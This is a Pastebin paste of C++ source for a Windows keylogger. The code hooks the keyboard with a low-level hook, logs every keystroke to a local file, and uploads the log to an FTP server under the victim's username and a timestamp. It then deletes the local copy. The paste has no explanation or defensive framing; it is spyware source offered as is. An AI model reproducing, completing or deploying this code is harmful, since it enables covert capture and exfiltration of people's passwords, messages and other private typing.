Advertisement
Guest User

Untitled

a guest
May 19th, 2017
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 3.25 KB | None | 0 0
  1. #include <cstdlib>
  2. #include <iostream>
  3. #include <process.h>
  4. #include "KeyloggerInterface.h"
  5.  
  6. using namespace std;
  7.  
  8.  
  9.  
  10.  
  11. struct LoggerThreadInfo
  12. {
  13.  KeystrokeQueue* pQueue;
  14.  HANDLE hKeystrokeReceived;
  15. };
  16.  
  17.  
  18. unsigned int LoggerThread( LoggerThreadInfo* pInfo );
  19. void _SetEvent( int iCode, unsigned int wParam, unsigned int lParam, void* pArgument );
  20.  
  21.  
  22.  
  23.  
  24.  
  25. int main(int argc, char *argv[])
  26. {
  27.    
  28.     KeyloggerInterface kInterface;
  29.     Keylogger TestLogger;
  30.     KeystrokeQueue kqBuffer;
  31.    
  32.    
  33.     HANDLE hKeystrokeReceived = CreateEvent( NULL, false, false, "_KEYSTROKE_RECEIVED_" );
  34.    
  35.    
  36.    kInterface.SetKeylogger( &TestLogger );
  37.    kInterface.SetKeystrokeBuffer( &kqBuffer );
  38.    kInterface.AddPostHandler( _SetEvent, (void*)hKeystrokeReceived );
  39.        
  40.    
  41.     LoggerThreadInfo Info;
  42.     Info.hKeystrokeReceived = hKeystrokeReceived;
  43.     Info.pQueue = &kqBuffer;
  44.     _beginthread( (void(*)(void*))LoggerThread, 0, (void*)&Info  );
  45.    
  46.    kInterface.SetLowLevelKeyboardHook();
  47.    
  48.    
  49.     MSG msgMessages;
  50.     while( GetMessage( &msgMessages, 0 ,0 ,0) );
  51.      
  52.  }
  53.  
  54.  
  55.  
  56.  
  57.  
  58.  
  59. void _SetEvent( int iCode, unsigned int wParam, unsigned int lParam, void* hKeystrokeReceived  )
  60. {
  61.  static unsigned int uiKeydownCount = 0;
  62.  
  63.  if( wParam == WM_KEYDOWN )  ++uiKeydownCount;
  64.  
  65.  if( uiKeydownCount == 1 )
  66.    {
  67.     SetEvent( (HANDLE)hKeystrokeReceived );
  68.     uiKeydownCount = 0;
  69.    }
  70. }
  71.  
  72.  
  73.  
  74.  
  75.  
  76. unsigned int LoggerThread(LoggerThreadInfo* pInfo )
  77. {
  78.  unsigned int uiLimit = 2000;
  79.  std::string sData;
  80.  unsigned int uiTotalCharsRead = 0;
  81.  FILE* pFile = NULL;
  82.  
  83.  _OpenFile:
  84.             pFile = fopen("log.txt","a+");
  85.  
  86.  while( true )
  87.     {
  88.  
  89.       WaitForSingleObject( pInfo->hKeystrokeReceived, INFINITE );  
  90.       unsigned int uiCharsRead = pInfo->pQueue->Read( sData );
  91.       uiTotalCharsRead += uiCharsRead;
  92.       fwrite( sData.c_str(), sizeof(char), uiCharsRead, pFile );
  93.       sData.clear();
  94.      
  95.       if( uiTotalCharsRead >= uiLimit )
  96.           {
  97.            fclose( pFile );
  98.            FtpInfo Info;
  99.            Info.sIpAddress = "test.com";
  100.            Info.sUsername = "test";
  101.            Info.sPassword = "test";
  102.            
  103.            std::string sRemoteFilename;
  104.            
  105.            DWORD dwUsernameLen = 100;
  106.            char* pBuffer = new char[ dwUsernameLen + 1 ];
  107.            memset( pBuffer, 0, dwUsernameLen + 1 );
  108.          
  109.            
  110.            while(  GetUserName( pBuffer, &dwUsernameLen )  != true  )
  111.             {
  112.               delete [] pBuffer;
  113.               dwUsernameLen += 100;
  114.               pBuffer = new char[ dwUsernameLen + 1 ];
  115.               memset( pBuffer, 0, dwUsernameLen + 1 );
  116.             }
  117.              
  118.            
  119.            sRemoteFilename += pBuffer;
  120.            delete [] pBuffer;
  121.            sRemoteFilename += "-";  
  122.            sRemoteFilename += "log";
  123.            sRemoteFilename += GetDateAndTime();
  124.            sRemoteFilename += ".txt";
  125.            
  126.            
  127.            if( UploadFileToFtp( Info, "log.txt",sRemoteFilename ) == true )
  128.                {
  129.                 DeleteFile("log.txt");
  130.                 uiTotalCharsRead = 0;
  131.                }
  132.                
  133.            goto _OpenFile;
  134.           }
  135.      
  136.      
  137.     }    
  138.    
  139.   fclose(pFile);
  140.  
  141. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement